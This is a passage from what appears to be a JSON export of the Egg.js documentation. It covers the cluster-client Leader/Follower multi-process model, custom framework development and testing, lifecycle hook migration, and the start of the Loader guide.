roles:\n  - Leader: Be responsible for maintaining the connection with the remote server, only one Leader for the same type of client.\n  - Follower: Delegate specific operations to the Leader. A common way is Subscribe-Model (let the Leader interact with remote server and wait for its return).\n- How to determine who Leader is, who Follower is? There are two modes:\n  - Free competition mode: clients determine the Leader by the competition of the local port when start up. For example: every one tries to monitor port 7777, and finally the only one instance who seizes it will become Leader, the rest will be Followers.\n  - Mandatory mode: the framework designates a Leader and the rest are Followers.\n- we use mandatory mode inside the framework. The Leader can only be created inside the Agent, which is also in line with our positioning of the Agent.\n- When the framework starts up, Master will randomly select an available port as the communication port monitored by the Cluster Client, and passes it by parameter to Agent and App Worker.\n- Leader communicates with Follower through direct socket connection (through communication port), no longer needs Master to transit.\n\nUnder the new mode, the client's communication is as follows:\n\n```js\n             +-------+\n             | start |\n             +---+---+\n                 |\n        +--------+---------+\n      __| port competition |__\nwin /   +------------------+  \\ lose\n   /                           \\\n+---------------+     tcp conn     +-------------------+\n| Leader(Agent) |<---------------->| Follower(Worker1) |\n+---------------+                  +-------------------+\n    |            \\ tcp conn\n    |             \\\n+--------+         +-------------------+\n| Client |         | Follower(Worker2) |\n+--------+         +-------------------+\n```\n\n## Client Interface Type Abstraction\n\nWe abstract the client interface into the following two broad categories, which is also a specification of the client interface. For clients that are in line with norms, we can automatically wrap it as Leader / Follower mode.\n\n- Subscribe / Publish Mode:\n  - The `subscribe(info, listener)` interface contains two parameters. The first one is the information subscribed and the second one is callback function for subscribe.\n  - The `publish(info)` interface contains a parameter which is the information subscribed.\n- Invoke Mode, supports three styles of interface: callback, promise and generator function, but generator function is recommended.\n\nClient example\n\n```js\nconst { Base } = require('sdk-base');\n\nclass Client extends Base {\n  constructor(options) {\n    super(options); // remember to invoke ready after initialization is successful\n    this.ready(true);\n  }\n  /**\n   * Subscribe\n   *\n   * @param {Object} info - subscription information (a JSON object, try not to include attributes such as Function, Buffer, Date)\n   * @param {Function} listener - monitoring callback function, receives a parameter as the result of monitoring\n   */\n\n  subscribe(info, listener) {\n    // ...\n  }\n  /**\n   * Publish\n   *\n   * @param {Object} info - publishing information, which is similar to that of subscribe described above\n   */\n\n  publish(info) {\n    // ...\n  }\n  /**\n   * Get data (invoke)\n   *\n   * @param {String} id - id\n   * @return {Object} result\n   */\n\n  async getData(id) {\n    // ...\n  }\n}\n```\n\n## Exception Handling\n\n- If Leader \"dies\", a new round of port contention will be triggered. The instance which seizes the port will be elected as the new Leader.\n- To ensure that the channel between Leader and Follower is healthy, heartbeat mechanism needs to be introduced. If the Follower does not send a heartbeat packet within a fixed time, the Leader will proactively disconnect from the Follower, which will trigger the reinitialization of Follower.\n\n## Protocol and Time Series to Invoke\n\nLeader and Follower exchange data via the following protocols:\n\n```js\n 0       1       2               4                                                              12\n +-------+-------+---------------+---------------------------------------------------------------+\n |version|req/res|    reserved   |                          request id                           |\n +-------------------------------+-------------------------------+-------------------------------+\n |           timeout             |   connection object length    |   application object length   |\n +-------------------------------+---------------------------------------------------------------+\n |         conn object (JSON format)  ...                    |            app object             |\n +-----------------------------------------------------------+                                   |\n |                                          ...                                                  |\n +-----------------------------------------------------------------------------------------------+\n```\n\n1. On the communication port Leader starts a Local Server, via which all Leaders / Followers communicate.\n2. After Follower connects Local Server, it will firstly send a register channel packet (introduction of the channel concept is to distinguish between different types of clients).\n3. Local Server will assign Follower to a specified Leader (match based on client type).\n4. Follower sends requests to Leader to subscribe and publish.\n5. Leader notifies Follower through the subscribe result packet when the subscription data changes.\n6. Follower sends a call request to the Leader. The Leader executes a corresponding operation after receiving, and returns the result.\n\n```js\n +----------+             +---------------+          +---------+\n | Follower |             |  Local Server |          |  Leader |\n +----------+             +---------------+          +---------+\n      |     register channel     |       assign to        |\n      + -----------------------> |  --------------------> |\n      |                          |                        |\n      |                                subscribe          |\n      + ------------------------------------------------> |\n      |                                 publish           |\n      + ------------------------------------------------> |\n      |                                                   |\n      |       subscribe result                            |\n      | <------------------------------------------------ +\n      |                                                   |\n      |                                 invoke            |\n      + ------------------------------------------------> |\n      |          invoke result                            |\n      | <------------------------------------------------ +\n      |                                                   |\n```\n\n## Specific Usage\n\nIn the following I will use a simple example to introduce how to make a client support Leader / Follower mode in the framework.\n\n- The first step, our client is best to meet the interface conventions mentioned above, for example:\n\n```js\n// registry_client.js\nconst { parse } = require('node:url');\nconst { Base } = require('sdk-base');\n\nclass RegistryClient extends Base {\n  constructor(options) {\n    super({\n      // Specify a method for asynchronous start\n      initMethod: 'init',\n    });\n    this._options = options;\n    this._registered = new Map();\n  }\n  /**\n   * Start logic\n   */\n\n  async init() {\n    this.ready(true);\n  }\n  /**\n   * Get configuration\n   * @param {String} dataId - the dataId\n   * @return {Object} configuration\n   */\n\n  async getConfig(dataId) {\n    return this._registered.get(dataId);\n  }\n  /**\n   * Subscribe\n   * @param {Object} reg\n   *   - {String} dataId - the dataId\n   * @param {Function} listener - the listener\n   */\n\n  subscribe(reg, listener) {\n    const key = reg.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n  /**\n   * publish\n   * @param {Object} reg\n   *   - {String} dataId - the dataId\n   *   - {String} publishData - the publish data\n   */\n\n  publish(reg) {\n    const key = reg.dataId;\n    let changed = false;\n\n    if (this._registered.has(key)) {\n      const arr = this._registered.get(key);\n      if (arr.indexOf(reg.publishData) === -1) {\n        changed = true;\n        arr.push(reg.publishData);\n      }\n    } else {\n      changed = true;\n      this._registered.set(key, [reg.publishData]);\n    }\n    if (changed) {\n      this.emit(\n        key,\n        this._registered.get(key).map((url) => parse(url, true)),\n      );\n    }\n  }\n}\n\nmodule.exports = RegistryClient;\n```\n\n- The second step is to encapsulate the `RegistryClient` using the `agent.cluster` interface:\n\n```js\n// agent.js\nconst RegistryClient = require('registry_client');\n\nmodule.exports = (agent) => {\n  // encapsulate and instantiate RegistryClient\n  agent.registryClient = agent\n    .cluster(RegistryClient) // parameter of create method is the parameter of RegistryClient constructor\n    .create({});\n\n  agent.beforeStart(async () => {\n    await agent.registryClient.ready();\n    agent.coreLogger.info('registry client is ready');\n  });\n};\n```\n\n- The third step, use the `app.cluster` interface to encapsulate `RegistryClient`:\n\n```js\n// app.js\nconst RegistryClient = require('registry_client');\n\nmodule.exports = (app) => {\n  app.registryClient = app.cluster(RegistryClient).create({});\n  app.beforeStart(async () => {\n    await app.registryClient.ready();\n    app.coreLogger.info('registry client is ready');\n\n    // invoke subscribe to subscribe\n    app.registryClient.subscribe(\n      {\n        dataId: 'demo.DemoService',\n      },\n      (val) => {\n        // ...\n      },\n    );\n\n    // invoke publish to publsih data\n    app.registryClient.publish({\n      dataId: 'demo.DemoService',\n      publishData: 'xxx',\n    });\n\n    // invoke getConfig interface\n    const res = await app.registryClient.getConfig('demo.DemoService');\n    console.log(res);\n  });\n};\n```\n\nIsn't it so simple?\n\nOf course, if your client is not so 『standard』, then you may need to use some other APIs, for example, your subscription function is not named `subscribe`, but `sub`:\n\n```js\nclass MockClient extends Base {\n  constructor(options) {\n    super({\n      initMethod: 'init',\n    });\n    this._options = options;\n    this._registered = new Map();\n  }\n\n  async init() {\n    this.ready(true);\n  }\n\n  sub(info, listener) {\n    const key = reg.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n\n  ...\n}\n```\n\nYou need to set it manually with the `delegate` API:\n\n```js\n// agent.js\nmodule.exports = (agent) => {\n  agent.mockClient = agent\n    .cluster(MockClient)\n    // delegate sub to logic of subscribe\n    .delegate('sub', 'subscribe')\n    .create();\n\n  agent.beforeStart(async () => {\n    await agent.mockClient.ready();\n  });\n};\n```\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.mockClient = app\n    .cluster(MockClient)\n    // delegate sub to subscribe logic\n    .delegate('sub', 'subscribe')\n    .create();\n\n  app.beforeStart(async () => {\n    await app.mockClient.ready();\n\n    app.sub({ id: 'test-id' }, (val) => {\n      // put your code here\n    });\n  });\n};\n```\n\nWe've already known that using `cluster-client` allows us to develop a 『pure』 RegistryClient without understanding the multi-process model. We can only focus on interacting with server, and use the `cluster-client` with a simple wrap to get a `ClusterClient` which supports multi-process model. The `RegistryClient` here is actually a `DataClient` that is specifically responsible for data communication with remote service.\n\nYou may have noticed that the `ClusterClient` brings with several constraints at the same time. If you want to expose the same approach to each process, `RegistryClient` can only support sub/pub mode and asynchronous API calls. Because all interactions in multi-process model must use socket communications, under which it is bound to bring this constraint.\n\nSuppose we want to realize a synchronous `get` method. Put subscribed data directly into memory and use the `get` method to return data directly. How to achieve it? The real situation may be more complicated.\n\nHere, we introduce an `APIClient` best practice. For modules that have requirements of synchronous API such as reading cached data, an `APIClient` is encapsulated base on RegistryClient to implement these APIs that are not related to interaction with the remote server. The `APIClient` instance is exposed to the user.\n\nIn `APIClient` internal implementation:\n\n- To obtain data asynchronously, invoke RegistryClient's API base on ClusterClient.\n- Interfaces that are unrelated to server, such as synchronous call, are to be implemented in `APIClient`. Since ClusterClient's APIs have flushed multi-process differences, there is no need to concern about multi-process model when calls to RegistryClient during developing `APIClient`.\n\nFor example, add a synchronous get method with buffer in the `APIClient` module:\n\n```js\n// some-client/index.js\nconst cluster = require('cluster-client');\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends Base {\n  constructor(options) {\n    super(options); // options.cluster is used to pass app.cluster to Egg's plugin\n\n    this._client = (options.cluster || cluster)(RegistryClient).create(options);\n    this._client.ready(() => this.ready(true));\n\n    this._cache = {};\n\n    // subMap:\n    // {\n    //   foo: reg1,\n    //   bar: reg2,\n    // }\n    const subMap = options.subMap;\n\n    for (const key in subMap) {\n      this.subscribe(subMap[key], (value) => {\n        this._cache[key] = value;\n      });\n    }\n  }\n\n  subscribe(reg, listener) {\n    this._client.subscribe(reg, listener);\n  }\n\n  publish(reg) {\n    this._client.publish(reg);\n  }\n\n  get(key) {\n    return this._cache[key];\n  }\n}\n\n// at last the module exposes this APIClient\nmodule.exports = APIClient;\n```\n\nThen we can use this module like this:\n\n```js\n// app.js || agent.js\nconst APIClient = require('some-client'); // the module above\nmodule.exports = app => {\n  const config = app.config.apiClient;\n  app.apiClient = new APIClient(Object.assign({}, config, { cluster: app.cluster });\n  app.beforeStart(async () => {\n    await app.apiClient.ready();\n  });\n};\n\n// config.${env}.js\nexports.apiClient = {\n  subMap: {\n    foo: {\n      id: '',\n    },\n    // bar...\n  }\n};\n```\n\nTo make it easy for you to encapsulate `APIClient`, we provide an` APIClientBase` base class in the [cluster-client](https://www.npmjs.com/package/cluster-client) module. Then `APIClient` above can be rewritten as:\n\n```js\nconst APIClientBase = require('cluster-client').APIClientBase;\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends APIClientBase {\n  // return the original client class\n  get DataClient() {\n    return RegistryClient;\n  } // used to set the cluster-client related parameters, equivalent to the second parameter of the cluster method\n\n  get clusterOptions() {\n    return {\n      responseTimeout: 120 * 1000,\n    };\n  }\n\n  subscribe(reg, listener) {\n    this._client.subscribe(reg, listener);\n  }\n\n  publish(reg) {\n    this._client.publish(reg);\n  }\n\n  get(key) {\n    return this._cache[key];\n  }\n}\n```\n\nin conclusion:\n\n```bash\n+------------------------------------------------+\n| APIClient                                      |\n|       +----------------------------------------|\n|       | ClusterClient                          |\n|       |      +---------------------------------|\n|       |      | RegistryClient                  |\n+------------------------------------------------+\n```\n\n- RegistryClient - responsible for communicating with remote service, to access data, supports for asynchronous APIs only, and does't care about multi-process model.\n- ClusterClient - a client instance that is simply wrapped by the `cluster-client` module and is responsible for automatically flushing differences in multi-process model.\n- APIClient - internally calls `ClusterClient` to synchronize data, without the need to concern about multi-process model and is the final exposed module for users. APIs are exposed Through this, and support for synchronization and asynchronization.\n\nStudents who are interested may have look at [enhanced multi-process development model](https://github.com/eggjs/egg/issues/322) discussion process.\n\n## The Configuration Items Related to Cluster-Client in the Framework\n\n```js\n/**\n * @property {Number} responseTimeout - response timeout, default is 60000\n * @property {Transcode} [transcode]\n *   - {Function} encode - custom serialize method\n *   - {Function} decode - custom deserialize method\n */\nconfig.clusterClient = {\n  responseTimeout: 60000,\n};\n```\n\n| Configuration Items | Type     | Default            | Description                                                                                                                                                 |\n| ------------------- | -------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| responseTimeout     | number   | 60000 (one minute) | Global interprocess communication timeout, you cannot set too short, because the proxy interface itself has a timeout setting                               |\n| transcode           | function | N/A                | Serialization of interprocess communication, by default [serialize-json](https://www.npmjs.com/package/serialize-json) (set up manually is not recommended) |\n\nThe above is about global configuration. If you want to do a separate setting for a client:\n\n- You can override by setting the second argument `options` in `app/agent.cluster(ClientClass, options)`:\n\n```js\napp.registryClient = app\n  .cluster(RegistryClient, {\n    responseTimeout: 120 * 1000, // the parameters passing here are related to cluster-client\n  })\n  .create({\n    // here are parameters required by RegistryClient\n  });\n```\n\n- You can also override the `getter` attribute of `clusterOptions` in `APIClientBase`:\n\n```js\nconst APIClientBase = require('cluster-client').APIClientBase;\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends APIClientBase {\n  get DataClient() {\n    return RegistryClient;\n  }\n\n  get clusterOptions() {\n    return {\n      responseTimeout: 120 * 1000,\n    };\n  }\n\n  // ...\n}\n\nmodule.exports = APIClient;\n```\n"
  },
  {
    "path": "site/docs/advanced/framework.md",
    "content": "---\ntitle: Framework Development\neditLink: true\n---\n\n# Framework Development\n\nIf your team have met with these scenarios:\n\n- Each project contains the same configuration files that need to be copied every time, such as `gulpfile.js`, `webpack.config.js`.\n- Each project has similar dependencies.\n- It's difficult to synchronize those projects based on the same configurations like those mentioned above once they have been optimized?\n\nIf your team needs:\n\n- a unified technique selection, such as the choice of databases, templates, frontend frameworks, and middlewares.\n- a unified default configuration to balance the deviation of different situations, which are not supposed to resolve in code level, like the differences between companies and open communities.\n- a unified [deployment plan](../core/deployment.md) keeping developers concentrate on code without paying attention to deployment details of connecting the framework and platforms.\n- a unified code style to decrease code's repetition and optimize code's appearance, which is important for a enterprise level framework.\n\nTo satisfy these demands, Egg endows developers with the capacity of `customizing a framework`. It is just an abstract layer, which can be constructed to a higher level framework, supporting inheritance of unlimited times. Furthermore, Egg apply a quantity of coding conventions based on Koa.\n\nTherefore, a uniform spec can be applied on projects in which the differentiation fulfilled in plugins. And the best practice summed from those projects can be continuously extracted from these plugins to the framework, which is available to other projects by just updating the dependencies' versions.\n\nSee more details in [Progressive Development](../intro/progressive.md)。\n\n## Framework and Multiprocess\n\nThe framework extension is applied to Multiprocess Model, as we know [Multiprocess Model](../core/cluster-and-ipc.md) and the differences between Agent Worker and App Worker, which have different APIs and both need to inherit.\n\nThey both are inherited from [EggCore](https://github.com/eggjs/egg-core), and Agent is instantiated during the initiation of Agent Worker, while App is instantiated during the initiation of App Worker.\n\nWe could regard EggCore as the advanced version of Koa Application, which integrates built-in features such as [Loader](./loader.md)、[Router](../basics/router.md) and asynchronous launch.\n\n```bash\n       Koa Application\n              ^\n           EggCore\n              ^\n       ┌──────┴───────┐\n       │              │\n   Egg Agent      Egg Application\n      ^               ^\n agent worker     app worker\n```\n\n## How to Customize a Framework\n\nJust use [egg-boilerplate-framework](https://github.com/eggjs/egg-boilerplate-framework) to generates a scaffold for you.\n\n```bash\n$ mkdir yadan && cd yadan\n$ npm init egg --type=framework\n$ npm i\n$ npm test\n```\n\nBut in order to illustrate details, let's do it step by step. Here is the [sample code](https://github.com/eggjs/examples/tree/master/framework).\n\n### Framework API\n\nEach of those APIs is required to be implemented almost twice - one for Agent and another for Application.\n\n#### `egg.startCluster`\n\nThis is the entry function of Egg's multiprocess launcher, based on [egg-cluster](https://github.com/eggjs/egg-cluster), to start Master, but EggCore running in a single process doesn't invoke this function while Egg does.\n\n```js\nconst startCluster = require('egg').startCluster;\nstartCluster(\n  {\n    // directory of code\n    baseDir: '/path/to/app',\n    // directory of framework\n    framework: '/path/to/framework',\n  },\n  () => {\n    console.log('app started');\n  },\n);\n```\n\nAll available options could be found in [egg-cluster](https://github.com/eggjs/egg-cluster#options).\n\n#### `egg.Application` And `egg.Agent`\n\nThese are both singletons but still different with each other. To inherit framework, it's likely to inherited these two classes.\n\n#### `egg.AppWorkerLoader` and `egg.AgentWorkerLoader`\n\nTo customize framework, Loader is required and has to be inherited from Egg Loader for the propose of either loading directories or rewriting functions.\n\n### Framework Extension\n\nIf we consider a framework as a class, then Egg framework is the base class,and implementing a framework demands to implement entire APIs of Egg.\n\n```bash\n// package.json\n{\n  \"name\": \"yadan\",\n  \"dependencies\": {\n    \"egg\": \"^2.0.0\"\n  }\n}\n\n// index.js\nmodule.exports = require('./lib/framework.js');\n\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // return the path of framework\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\n// rewrite Egg's Application\nmodule.exports = Object.assign(egg, {\n  Application,\n});\n```\n\nThe name of framework, default as `egg`, is a indispensable option to launch an application, set by `egg.framework` of `package.json`, then Loader loads the exported app of a module named it.\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  },\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n```\n\nAs a loadUnit of framework, yadan is going to load specific directories and files, such as `app` and `config`. Find more files loaded at [Loader](./loader.md).\n\n### Principle of Framework Extension\n\nThe path of framework is override `customEggPaths()` method to expose itself to Loader. Why? It seems that the simplest way is to pass a param to the constructor. The reason is to expose those paths of each level of inherited frameworks and reserve their sequences. Since Egg is a framework capable of unlimited inheritance, each layer has to designate their own eggPath so that all the eggPaths are accessible through the prototype chain.\n\nGiven a triple-layer framework: department level > enterprise level > Egg\n\n```js\n// enterprise\nconst Application = require('egg').Application;\n\nclass Enterprise extends Application {\n  protected override customEggPaths() {\n    return ['/path/to/enterprise', ...super.customEggPaths()];\n  }\n}\n// Customize Application\nexports.Application = Enterprise;\n\n// department\nconst Application = require('enterprise').Application;\n\n// extend enterprise's Application\nclass department extends Application {\n  protected override customEggPaths() {\n    return ['/path/to/department', ...super.customEggPaths()];\n  }\n}\n\n// the path of `department` have to be designated as described above\nconst Application = require('department').Application;\nconst app = new Application();\napp.ready();\n```\n\nThese code are pseudocode to elaborate the framework's loading process, and we have provided scaffolds to [development](../core/development.md) and [deployment](../core/deployment.md).\n\n### Custom Agent\n\nEgg's multiprocess model is composed of Application and Agent. Therefore Agent, another fundamental class similar to Application, is also required to be implemented.\n\n```js\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // return the path of framework\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\nclass Agent extends egg.Agent {\n  protected override customEggPaths() {\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\n// rewrite Egg's Application\nmodule.exports = Object.assign(egg, {\n  Application,\n  Agent,\n});\n```\n\n**To be careful about that Agent and Application based on the same Class possess different APIs.**\n\n### Custom Loader\n\nLoader, the core of the launch process, is capable of loading data code, adjusting loading orders or even strengthen regulation of code.\n\nAs the same as Egg-Path, Loader exposes itself at `customEggLoader()` to ensure it's accessibility on prototype chain.\n\n```js\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass YadanAppWorkerLoader extends egg.AppWorkerLoader {\n  load() {\n    super.load();\n    // do something\n  }\n}\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // return the path of framework\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n  // supplant default Loader\n  protected override customEggLoader() {\n    return YadanAppWorkerLoader;\n  }\n}\n\n// rewrite Egg's Application\nmodule.exports = Object.assign(egg, {\n  Application,\n  // custom Loader, a dependence of the high level framework, needs to be exported.\n  AppWorkerLoader: YadanAppWorkerLoader,\n});\n```\n\nAgentWorkerLoader is not going to be described because of it's similarity of AppWorkerLoader, but be aware of it's located at `agent.js` instead of `app.js`.\n\n## The principle of Launch\n\nMany descriptions of launch process are scattered at [Multiprocess Model](../core/cluster-and-ipc.md), [Loader](./loader.md) and [Plugin](./plugin.md), and here is a summarization.\n\n- `startCluster` is invoked with `baseDir` and `framework`, then Master process is launched.\n- Master forks a new process as Agent Worker\n  - instantiate Agent Class of the framework loaded from path passed by the `framework` param.\n  - Agent finds out the AgentWorkerLoader and then starts to load\n  - use AgentWorkerLoader to load Worker synchronously in the sequence of Plugin Config, Extend, `agent.js` and other files.\n  - The initiation of `agent.js` is able to be customized, and it supports asynchronous launch after which it notifies Master and invoke the function passed to `beforeStart`.\n- After receiving the message that Agent Worker is launched，Master forks App Workers by cluster.\n  - App Workers are multiple identical processes launched simultaneously\n  - App Worker is instantiated, which is similar to Agent inherited Application class of framework loaded from framework path.\n  - The same as Agent, Loading process of Application starts with AppWorkerLoader which loads files in the same order and finally informed Master.\n- After informed of launching successfully of each App Worker, Master is finally functioning.\n\n## Framework Testing\n\nYou'd better read [unittest](../core/unittest.md) first, which is similar to framework testing in a quantity of situations.\n\n### Initiation\n\nHere are some differences between initiation of frameworks.\n\n```js\nconst mock = require('@eggjs/mock');\ndescribe('test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.app({\n      // test/fixtures/apps/example\n      baseDir: 'apps/example',\n      // importent !! Do not miss\n      framework: true,\n    });\n    return app.ready();\n  });\n\n  after(() => app.close());\n  afterEach(mock.restore);\n\n  it('should success', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\n- Different from application testing, framework testing tests framework code instead of application code, so that baseDir varies for the propose of testing kinds of applications.\n- BaseDir is potentially considered to be under the path of `test/fixtures`, otherwise it should be absolute paths.\n- The `framework` option is indispensable, which could be a absolute path or `true` meaning the path of the framework to be current directory.\n- The use of the app should wait for the `ready` event in `before` hook, or some of the APIs is not available.\n- Do not forget to invoke `app.close()` after testing, which could arouse the exhausting of fds, caused by unclosed log files.\n\n### Cache\n\n`mm.app` enables cache as default, which means new environment setting would not work once loaded.\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('/test/index.test.js', () => {\n  let app;\n  afterEach(() => app.close());\n\n  it('should test on local', () => {\n    mock.env('local');\n    app = mock.app({\n      baseDir: 'apps/example',\n      framework: true,\n      cache: false,\n    });\n    return app.ready();\n  });\n  it('should test on prod', () => {\n    mock.env('prod');\n    app = mock.app({\n      baseDir: 'apps/example',\n      framework: true,\n      cache: false,\n    });\n    return app.ready();\n  });\n});\n```\n\n### Multiprocess Testing\n\nMultiprocess is rarely tested because of the high cost and the unavailability of API level's mock, meanwhile, processes have a slow start or even timeout, but it still remains the most effective way of testing multiprocess model.\n\nThe option of `mock.cluster` have no difference with `mm.app` while their APIs are totally distinct, however, SuperTest still works.\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.cluster({\n      baseDir: 'apps/example',\n      framework: true,\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n  afterEach(mock.restore);\n\n  it('should success', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\nTests of `stdout/stderr` are also available, since `mm.cluster` is based on [coffee](https://github.com/popomore/coffee) in which multiprocess testing is supported.\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('/test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.cluster({\n      baseDir: 'apps/example',\n      framework: true,\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('should get `started`', () => {\n    // set the expectation of console\n    app.expect('stdout', /started/);\n  });\n});\n```\n"
  },
  {
    "path": "site/docs/advanced/index.md",
    "content": "# Advanced\n\n- [Loader](./loader.md)\n- [Plugin Development](./plugin.md)\n- [Framework Development](./framework.md)\n- [Multi-Process Development Model Enhancement](./cluster-client.md)\n- [View Plugin Development](./view-plugin.md)\n- [Upgrade your event functions in your lifecycle](./loader-update.md)\n"
  },
  {
    "path": "site/docs/advanced/loader-update.md",
    "content": "---\ntitle: Upgrade your event functions in your lifecycle\norder: 6\n---\n\nWe've simplified the functions of our lifecycle for your convenience to control when to load application or plugins. Generally speaking, the lifecycle events can be divided into two forms:\n\n1. Function (already deprecated, just for compatibility).\n2. Class Method (recommanded).\n\n## Replacer for `beforeStart`\n\nWe usually handle `beforeStart` through `module.export` with the input parameter `app` in the app.js.\nTake this as an example below:\n\n```js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    // Here's where your codes were before\n  });\n};\n```\n\nNow we've got some changes after upgration: We can use methods in a class in `app.js`. For application, we should write in the `WillReady`, for plugins, `didLoad` is our choice. They look like below:\n\n```js\n// app.js or agent.js:\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    // Please put your codes of `app.beforeStart` here for your plugin\n  }\n\n  async willReady() {\n    // Please put your codes of `app.beforeStart` here for your application\n  }\n}\n\nmodule.exports = AppBootHook;\n```\n\n## Replacer for `ready`\n\nWe used to process our logic in `app.ready`:\n\n```js\nmodule.exports = (app) => {\n  app.ready(async () => {\n    // Here's where your codes were before\n  });\n};\n```\n\nNow `didReady` takes the place of it:\n\n```js\n// app.js or agent.js:\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didReady() {\n    // Please put your codes of `app.ready` here\n  }\n}\n\nmodule.exports = AppBootHook;\n```\n\n## Replacer for `beforeClose`\n\nWe used to handle `app.beforeClose` like this following:\n\n```js\nmodule.exports = (app) => {\n  app.beforeClose(async () => {\n    // Here's where your codes were before\n  });\n};\n```\n\nNow we can use `beforeClose` instead of it:\n\n```js\n// app.js or agent.js:\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async beforeClose() {\n    // Please put your codes of `app.beforeClose` here\n  }\n}\n```\n\n## Others\n\nIn order to let you pick up quickly to replace your old functions, this torturial only tells you how to replace item by item. So if you want to know more about the whole principle of `Loader`, as well as all the functions of Egg's lifecycle, Please refer to [Loader](./loader.md) and [Application Startup Configuration](../basics/app-start.md).\n"
  },
  {
    "path": "site/docs/advanced/loader.md",
    "content": "---\ntitle: Loader\norder: 1\n---\n\nThe most importance of Egg which enhanced Koa is that it is based on a certain agreement, code will be placed in different directories according to the functional differences, it significantly reduces development costs. Loader supports this set of conventions and abstracts that many low-level APIs could be extended.\n\n## Application, Framework and Plugin\n\nEgg is a low-level framework, applications could use it directly, but Egg only has a few default plugins, we need to configure plugins to extend features in application, such as MySQL.\n\n```js\n// application configuration\n// package.json\n{\n  \"dependencies\": {\n    \"egg\": \"^2.0.0\",\n    \"egg-mysql\": \"^3.0.0\"\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  mysql: {\n    enable: true,\n    package: 'egg-mysql',\n  },\n}\n```\n\nWith the increasing number of applications, we find most of them have similar configurations, so we could extend a new framework based on Egg, which makes application configurations simpler.\n\n```js\n// framework configuration\n// package.json\n{\n  \"name\": \"framework1\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg-mysql\": \"^3.0.0\",\n    \"egg-view-nunjucks\": \"^2.0.0\"\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  mysql: {\n    enable: false,\n    package: 'egg-mysql',\n  },\n  view: {\n    enable: false,\n    package: 'egg-view-nunjucks',\n  }\n}\n\n// application configuration\n// package.json\n{\n  \"dependencies\": {\n    \"framework1\": \"^1.0.0\",\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  // enable plugins\n  mysql: true,\n  view: true,\n}\n```\n\nFrom the scene above we can see the relationship of application, plugin and framework.\n\n- We implement business logics in application, and specify a framework to run, so we could configure plugin to meet a special scene feature (such as MySQL).\n- Plugin only performs specific function, when two separate functions are interdependent, they still need to be separated into two plugins, and requires configuration.\n- Framework is a launcher (default is Egg), which is indispensable to run. Framework is also a wrapper, it aggregates plugins to provide functions unitedly, and it can also configure plugins.\n- We can extend a new framework based on framework, which means that **framework can be inherited infinitely**, like class inheritance.\n\n```\n+-----------------------------------+--------+\n|      app1, app2, app3, app4       |        |\n+-----+--------------+--------------+        |\n|     |              |  framework3  |        |\n+     |  framework1  +--------------+ plugin |\n|     |              |  framework2  |        |\n+     +--------------+--------------+        |\n|                   Egg             |        |\n+-----------------------------------+--------|\n|                   Koa                      |\n+-----------------------------------+--------+\n```\n\n## LoadUnit\n\nEgg regards application, framework and plugin as loadUnit, because they are similar in code structure, here is the directory structure:\n\n```\nloadUnit\n├── package.json\n├── app.js\n├── agent.js\n├── app\n│   ├── extend\n│   |   ├── helper.js\n│   |   ├── request.js\n│   |   ├── response.js\n│   |   ├── context.js\n│   |   ├── application.js\n│   |   └── agent.js\n│   ├── service\n│   ├── middleware\n│   └── router.js\n└── config\n    ├── config.default.js\n    ├── config.prod.js\n    ├── config.test.js\n    ├── config.local.js\n    └── config.unittest.js\n```\n\nHowever, there are still some differences:\n\n| File                   | Application | Framework | Plugin |\n| ---------------------- | ----------- | --------- | ------ |\n| app/router.js          | ✔︎           |           |\n| app/controller         | ✔︎           |           |\n| app/middleware         | ✔︎           | ✔︎         | ✔︎      |\n| app/service            | ✔︎           | ✔︎         | ✔︎      |\n| app/extend             | ✔︎           | ✔︎         | ✔︎      |\n| app.js                 | ✔︎           | ✔︎         | ✔︎      |\n| agent.js               | ✔︎           | ✔︎         | ✔︎      |\n| config/config.{env}.js | ✔︎           | ✔︎         | ✔︎      |\n| config/plugin.js       | ✔︎           | ✔︎         |\n| package.json           | ✔︎           | ✔︎         | ✔︎      |\n\nDuring the loading process, Egg will traverse all loadUnits to load the files above(application, framework and plugin are different), the loading process has priority.\n\n- Load according to `Plugin => Framework => Application`.\n- The order of loading plugin depends on the dependencies, dependent plugins will be 